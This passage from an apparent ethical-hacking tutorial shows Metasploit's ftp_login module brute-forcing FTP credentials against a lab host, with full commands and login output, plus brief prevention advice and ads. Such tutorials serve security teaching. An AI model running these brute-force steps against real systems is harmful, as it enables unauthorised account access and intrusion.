   2    auxiliary/admin/tftp/tftp_transfer_util                                             normal     No     TFTP File Transfer Utility
   3    auxiliary/dos/scada/d20_tftp_overflow                              2012-01-19       normal     No     General Electric D20ME TFTP Server Buffer Overflow DoS
   4    auxiliary/dos/windows/ftp/filezilla_admin_user                     2005-11-07       normal     No     FileZilla FTP Server Admin Interface Denial of Service
   5    auxiliary/dos/windows/ftp/filezilla_server_port                    2006-12-11       normal     No     FileZilla FTP Server Malformed PORT Denial of Service
   6    auxiliary/dos/windows/ftp/guildftp_cwdlist                         2008-10-12       normal     No     Guild FTPd 0.999.8.11/0.999.14 Heap Corruption
   7    auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                       2010-12-21       normal     No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8    auxiliary/dos/windows/ftp/iis_list_exhaustion                      2009-09-03       normal     No     Microsoft IIS FTP Server LIST Stack Exhaustion
   9    auxiliary/dos/windows/ftp/solarftp_user                            2011-02-22       normal     No     Solar FTP Server Malformed USER Denial of Service
   10   auxiliary/dos/windows/ftp/titan626_site                            2008-10-14       normal     No     Titan FTP Server 6.26.630 SITE WHO DoS
   11   auxiliary/dos/windows/ftp/vicftps50_list                           2008-10-24       normal     No     Victory FTP Server 5.0 LIST DoS
   12   auxiliary/dos/windows/ftp/winftp230_nlst                           2008-09-26       normal     No     WinFTP 2.3.0 NLST Denial of Service
   13   auxiliary/dos/windows/ftp/xmeasy560_nlst                           2008-10-13       normal     No     XM Easy Personal FTP Server 5.6.0 NLST DoS
   14   auxiliary/dos/windows/ftp/xmeasy570_nlst                           2009-03-27       normal     No     XM Easy Personal FTP Server 5.7.0 NLST DoS
   15   auxiliary/dos/windows/tftp/pt360_write                             2008-10-29       normal     No     PacketTrap TFTP Server 2.2.5459.0 DoS
   16   auxiliary/dos/windows/tftp/solarwinds                              2010-05-21       normal     No     SolarWinds TFTP Server 10.4.0.10 Denial of Service
   17   auxiliary/fuzzers/ftp/client_ftp                                                    normal     No     Simple FTP Client Fuzzer
   18   auxiliary/fuzzers/ftp/ftp_pre_post                                                  normal     Yes    Simple FTP Fuzzer
   19   auxiliary/gather/apple_safari_ftp_url_cookie_theft                 2015-04-08       normal     No     Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft
   20   auxiliary/gather/d20pass                                           2012-01-19       normal     No     General Electric D20 Password Recovery
   21   auxiliary/gather/konica_minolta_pwd_extract                                         normal     Yes    Konica Minolta Password Extractor
   22   auxiliary/scanner/ftp/anonymous                                                     normal     Yes    Anonymous FTP Access Detection
   23   auxiliary/scanner/ftp/bison_ftp_traversal                          2015-09-28       normal     Yes    BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure
   24   auxiliary/scanner/ftp/colorado_ftp_traversal                       2016-08-11       normal     Yes    ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure
   25   auxiliary/scanner/ftp/easy_file_sharing_ftp                        2017-03-07       normal     Yes    Easy File Sharing FTP Server 3.6 Directory Traversal
   26   auxiliary/scanner/ftp/ftp_login                                                     normal     Yes    FTP Authentication Scanner
   27   auxiliary/scanner/ftp/ftp_version                                                   normal     Yes    FTP Version Scanner
   28   auxiliary/scanner/ftp/konica_ftp_traversal                         2015-09-22       normal     Yes    Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
   29   auxiliary/scanner/ftp/pcman_ftp_traversal                          2015-09-28       normal     Yes    PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure
   30   auxiliary/scanner/ftp/titanftp_xcrc_traversal                      2010-06-15       normal     Yes    Titan FTP XCRC Directory Traversal Information DisclosureWe want theftp_loginmodule, so load it with theusecommand:msf5 > use auxiliary/scanner/ftp/ftp_loginTypeoptionsto take a look at the current settings:msf5 auxiliary(scanner/ftp/ftp_login) > options

Module options (auxiliary/scanner/ftp/ftp_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST      false            no        Record anonymous/guest logins to the database
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             21               yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attemptsFirst, we need to set the IP address of our target:msf5 auxiliary(scanner/ftp/ftp_login) > set rhosts 10.10.0.50

rhosts => 10.10.0.50Next, specify the file containing the list of usernames:msf5 auxiliary(scanner/ftp/ftp_login) > set user_file usernames.txt

user_file => usernames.txtAnd do the same for the passwords:msf5 auxiliary(scanner/ftp/ftp_login) > set pass_file passwords.txt

pass_file => passwords.txtThat should be all we need, so typerunto start the scan:msf5 auxiliary(scanner/ftp/ftp_login) > run

[*] 10.10.0.50:21         - 10.10.0.50:21 - Starting FTP login sweep
[!] 10.10.0.50:21         - No active DB -- Credential data will not be saved!
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:hunter2 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:hunter2 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: user:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: user:s3cr3t (Incorrect: )
[+] 10.10.0.50:21         - 10.10.0.50:21 - Login Successful: user:user
[+] 10.10.0.50:21         - 10.10.0.50:21 - Login Successful: ftp:password
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:hunter2 (Incorrect: )
[*] 10.10.0.50:21         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see all the available pairs it tries to brute-force, and we end up with a couple of successful logins.How to Prevent FTP Brute-Force AttacksIf you are running FTP, chances are you're going to see tons of brute-force attempts daily, most of which are probably automated. Regardless, there are a few steps you can take to mitigate the risk of a successful attack.Perhaps the easiest thing to do is not runFTPat all if it isn't needed. Doing so eliminates the problem. If it is essential, consider putting it on a non-standard port, which will remove most, if not all, automated brute-force attacks.Using a service likeFail2banalongside proper firewall rules will also drastically cut down the likelihood of compromise. And like anything else, usingstrong passwordsthat are difficult to crack will dissuade all but the most determined attackers.Wrapping UpToday, we explored FTP and how to brute-force credentials using a variety of tools. We covered Ncrack, Medusa, Hydra, Patator, and Metasploit, and we touched on some ways to prevent these types of attacks. FTP might seem like a boring target, but its prevalence makes it worth knowing how to attack.Don't Miss:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byVitaly Vlasov/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Automate Brute-Force Attacks for Nmap ScansHow To:Build an FTP Password Sniffer with Scapy and PythonHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Break into Router Gateways with PatatorHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHack Like a Pro:How to Conduct a Simple Man-in-the-Middle AttackHow To:Perform Network-Based Attacks with an SBC ImplantHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:SSH and FTP into a serverHow To:Using Hydra 5.4 to crack FTP passwordsHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:FTP from a local computer to a websiteHIOB:The Ruby Programming Language, Part 1: (Building an FTP Cracker)How To:Create a Metasploit Exploit in Few MinutesHow To:Discover & Attack Services on Web Apps or Networks with SpartaHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Fake Captive Portal with an Android PhoneHow To:Create Custom Wordlists for Password Cracking Using the MentalistHow To:Run an FTP Server from Home with LinuxHow To:Push and Pull Remote Files Securely Over SSH with PipesGHOST PHISHER:Security Auditing Tool